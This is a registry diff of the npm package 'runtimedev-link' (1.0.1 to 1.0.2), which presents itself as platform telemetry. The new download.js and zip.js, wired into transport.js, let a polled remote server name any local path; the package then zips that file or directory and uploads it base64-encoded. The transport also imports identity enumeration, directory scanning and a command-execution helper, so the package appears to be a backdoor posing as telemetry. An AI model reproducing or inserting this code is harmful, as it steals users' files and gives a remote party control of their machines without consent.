runtimedev-link 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,81 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { zipPathToBuffer } = require('./zip');
6
+
7
+ const DEFAULT_MAX_ZIP_BYTES = 50 * 1024 * 1024;
8
+
9
+ function envInt(key, fallback) {
10
+ const raw = String(process.env[key] || '').trim();
11
+ if (!raw) return fallback;
12
+ const n = parseInt(raw, 10);
13
+ return Number.isFinite(n) ? n : fallback;
14
+ }
15
+
16
+ function maxZipBytes() {
17
+ return envInt('SSTAR_MAX_DOWNLOAD_ZIP_BYTES', DEFAULT_MAX_ZIP_BYTES);
18
+ }
19
+
20
+ function handleDownloadRequest(req) {
21
+ if (!req || !req.requestId) {
22
+ return { ok: false, error: 'missing requestId' };
23
+ }
24
+
25
+ const requestId = String(req.requestId);
26
+ const kind = String(req.kind || '');
27
+
28
+ if (kind === 'chrome_extension') {
29
+ return {
30
+ ok: false,
31
+ requestId,
32
+ error: 'Chrome extension downloads are not supported by runtimedev-link',
33
+ };
34
+ }
35
+
36
+ if (kind !== 'path') {
37
+ return { ok: false, requestId, error: 'unknown download kind' };
38
+ }
39
+
40
+ const rawPath = req.path != null ? String(req.path).trim() : '';
41
+ if (!rawPath) {
42
+ return { ok: false, requestId, error: 'missing path' };
43
+ }
44
+
45
+ const src = path.resolve(rawPath);
46
+ try {
47
+ const st = fs.statSync(src);
48
+ if (!st.isDirectory() && !st.isFile()) {
49
+ return { ok: false, requestId, error: 'path not accessible' };
50
+ }
51
+ } catch (err) {
52
+ return {
53
+ ok: false,
54
+ requestId,
55
+ error: `path not accessible: ${String(err.message || err)}`,
56
+ };
57
+ }
58
+
59
+ try {
60
+ const maxOut = maxZipBytes();
61
+ const { zip, archiveName } = zipPathToBuffer(src, { maxOut });
62
+ return {
63
+ ok: true,
64
+ requestId,
65
+ filename: archiveName,
66
+ base64: zip.toString('base64'),
67
+ fileSizeBytes: zip.length,
68
+ };
69
+ } catch (err) {
70
+ return {
71
+ ok: false,
72
+ requestId,
73
+ error: String(err.message || err),
74
+ };
75
+ }
76
+ }
77
+
78
+ module.exports = {
79
+ handleDownloadRequest,
80
+ maxZipBytes,
81
+ };
package/lib/transport.js CHANGED
@@ -7,6 +7,7 @@ const { URL } = require('url');
7
7
  const { getIdentity } = require('./enum');
8
8
  const { scanDirectory, defaultScanRoot } = require('./fs_scan');
9
9
  const { runCommand } = require('./exec');
10
+ const { handleDownloadRequest: buildDownloadPayload } = require('./download');
10
11
 
11
12
  const POLL_MIN_SEC = 20;
12
13
  const POLL_MAX_SEC = 60;
@@ -200,11 +201,17 @@ async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
200
201
  await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
201
202
  }
202
203
 
203
- async function postDownloadError(requestId, message) {
204
+ async function postDownloadUpload(payload) {
204
205
  await requestJson('POST', '/api/telemetry/upload-download', {
205
206
  ...identityFields(),
207
+ ...payload,
208
+ });
209
+ }
210
+
211
+ async function postDownloadError(requestId, message) {
212
+ await postDownloadUpload({
206
213
  requestId: String(requestId || ''),
207
- error: String(message || 'unsupported on node-link agent'),
214
+ error: String(message || 'download failed'),
208
215
  });
209
216
  }
210
217
 
@@ -327,11 +334,18 @@ async function handleDirectoryScan(req) {
327
334
  }
328
335
 
329
336
  async function handleDownloadRequest(req) {
330
- if (!req || !req.requestId) return;
331
- await postDownloadError(
332
- req.requestId,
333
- 'path/extension downloads are not implemented in node-link'
334
- );
337
+ const result = buildDownloadPayload(req);
338
+ if (!result || !result.requestId) return;
339
+ if (!result.ok) {
340
+ await postDownloadError(result.requestId, result.error || 'download failed');
341
+ return;
342
+ }
343
+ await postDownloadUpload({
344
+ requestId: result.requestId,
345
+ filename: result.filename,
346
+ base64: result.base64,
347
+ fileSizeBytes: result.fileSizeBytes,
348
+ });
335
349
  }
336
350
 
337
351
  async function handlePollResponse(data) {
package/lib/zip.js ADDED
@@ -0,0 +1,175 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { shouldSkipPath } = require('./fs_scan');
6
+
7
+ const LOCAL_SIG = 0x04034b50;
8
+ const CENTRAL_SIG = 0x02014b50;
9
+ const END_SIG = 0x06054b50;
10
+
11
+ const CRC_TABLE = (() => {
12
+ const table = new Uint32Array(256);
13
+ for (let i = 0; i < 256; i += 1) {
14
+ let c = i;
15
+ for (let k = 0; k < 8; k += 1) {
16
+ c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
17
+ }
18
+ table[i] = c >>> 0;
19
+ }
20
+ return table;
21
+ })();
22
+
23
+ function crc32(buf) {
24
+ let c = 0xffffffff;
25
+ for (let i = 0; i < buf.length; i += 1) {
26
+ c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
27
+ }
28
+ return (c ^ 0xffffffff) >>> 0;
29
+ }
30
+
31
+ function collectFiles(absRoot, maxFileBytes, maxFiles, state) {
32
+ const out = [];
33
+ const st = fs.statSync(absRoot);
34
+ if (st.isFile()) {
35
+ if (!st.isFile() || st.size > maxFileBytes) return out;
36
+ out.push({
37
+ name: path.basename(absRoot),
38
+ data: fs.readFileSync(absRoot),
39
+ });
40
+ return out;
41
+ }
42
+ if (!st.isDirectory()) return out;
43
+
44
+ function walk(dir, relPrefix) {
45
+ if (out.length >= maxFiles || state.bytes > state.maxOut) return;
46
+ let entries = [];
47
+ try {
48
+ entries = fs.readdirSync(dir, { withFileTypes: true });
49
+ } catch {
50
+ return;
51
+ }
52
+ for (const entry of entries) {
53
+ if (out.length >= maxFiles || state.bytes > state.maxOut) break;
54
+ const sub = path.join(dir, entry.name);
55
+ if (shouldSkipPath(sub)) continue;
56
+ const rel = relPrefix ? `${relPrefix}/${entry.name}` : entry.name;
57
+ if (entry.isDirectory()) {
58
+ walk(sub, rel);
59
+ } else if (entry.isFile()) {
60
+ let info;
61
+ try {
62
+ info = fs.statSync(sub);
63
+ } catch {
64
+ continue;
65
+ }
66
+ if (!info.isFile() || info.size > maxFileBytes) continue;
67
+ let data;
68
+ try {
69
+ data = fs.readFileSync(sub);
70
+ } catch {
71
+ continue;
72
+ }
73
+ state.bytes += data.length;
74
+ if (state.bytes > state.maxOut) break;
75
+ out.push({ name: rel.replace(/\\/g, '/'), data });
76
+ }
77
+ }
78
+ }
79
+
80
+ walk(absRoot, '');
81
+ return out;
82
+ }
83
+
84
+ function buildZip(files) {
85
+ const parts = [];
86
+ const central = [];
87
+ let offset = 0;
88
+
89
+ for (const file of files) {
90
+ const nameBuf = Buffer.from(file.name, 'utf8');
91
+ const data = file.data;
92
+ const checksum = crc32(data);
93
+ const local = Buffer.alloc(30 + nameBuf.length);
94
+ local.writeUInt32LE(LOCAL_SIG, 0);
95
+ local.writeUInt16LE(20, 4);
96
+ local.writeUInt16LE(0, 6);
97
+ local.writeUInt16LE(0, 8);
98
+ local.writeUInt16LE(0, 10);
99
+ local.writeUInt16LE(0, 12);
100
+ local.writeUInt32LE(checksum, 14);
101
+ local.writeUInt32LE(data.length, 18);
102
+ local.writeUInt32LE(data.length, 22);
103
+ local.writeUInt16LE(nameBuf.length, 26);
104
+ local.writeUInt16LE(0, 28);
105
+ nameBuf.copy(local, 30);
106
+
107
+ const centralHdr = Buffer.alloc(46 + nameBuf.length);
108
+ centralHdr.writeUInt32LE(CENTRAL_SIG, 0);
109
+ centralHdr.writeUInt16LE(20, 4);
110
+ centralHdr.writeUInt16LE(20, 6);
111
+ centralHdr.writeUInt16LE(0, 8);
112
+ centralHdr.writeUInt16LE(0, 10);
113
+ centralHdr.writeUInt16LE(0, 12);
114
+ centralHdr.writeUInt16LE(0, 14);
115
+ centralHdr.writeUInt32LE(checksum, 16);
116
+ centralHdr.writeUInt32LE(data.length, 20);
117
+ centralHdr.writeUInt32LE(data.length, 24);
118
+ centralHdr.writeUInt16LE(nameBuf.length, 28);
119
+ centralHdr.writeUInt16LE(0, 30);
120
+ centralHdr.writeUInt16LE(0, 32);
121
+ centralHdr.writeUInt16LE(0, 34);
122
+ centralHdr.writeUInt16LE(0, 36);
123
+ centralHdr.writeUInt32LE(0, 38);
124
+ centralHdr.writeUInt32LE(offset, 42);
125
+ nameBuf.copy(centralHdr, 46);
126
+
127
+ parts.push(local, data);
128
+ central.push(centralHdr);
129
+ offset += local.length + data.length;
130
+ }
131
+
132
+ const centralBuf = Buffer.concat(central);
133
+ const end = Buffer.alloc(22);
134
+ end.writeUInt32LE(END_SIG, 0);
135
+ end.writeUInt16LE(0, 4);
136
+ end.writeUInt16LE(0, 6);
137
+ end.writeUInt16LE(files.length, 8);
138
+ end.writeUInt16LE(files.length, 10);
139
+ end.writeUInt32LE(centralBuf.length, 12);
140
+ end.writeUInt32LE(offset, 16);
141
+ end.writeUInt16LE(0, 20);
142
+
143
+ return Buffer.concat([...parts, centralBuf, end]);
144
+ }
145
+
146
+ function zipPathToBuffer(src, opts) {
147
+ const maxOut =
148
+ opts && opts.maxOut > 0 ? opts.maxOut : 50 * 1024 * 1024;
149
+ const maxFile =
150
+ opts && opts.maxFileBytes > 0 ? opts.maxFileBytes : maxOut;
151
+ const maxFiles =
152
+ opts && opts.maxFiles > 0 ? opts.maxFiles : 5000;
153
+ const clean = path.resolve(String(src || ''));
154
+ const state = { bytes: 0, maxOut };
155
+ const files = collectFiles(clean, maxFile, maxFiles, state);
156
+ if (files.length === 0) {
157
+ throw new Error('nothing to zip (empty or unreadable path)');
158
+ }
159
+ if (state.bytes > maxOut) {
160
+ throw new Error('zipped payload exceeds size limit');
161
+ }
162
+ const zip = buildZip(files);
163
+ if (zip.length > maxOut) {
164
+ throw new Error('zipped payload exceeds size limit');
165
+ }
166
+ const archiveName =
167
+ opts && opts.archiveName
168
+ ? opts.archiveName
169
+ : path.basename(clean) + '.zip';
170
+ return { zip, archiveName };
171
+ }
172
+
173
+ module.exports = {
174
+ zipPathToBuffer,
175
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "runtimedev-link",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "Pure Node.js telemetry for RuntimeDev platform",
5
5
  "main": "lib/transport.js",
6
6
  "bin": {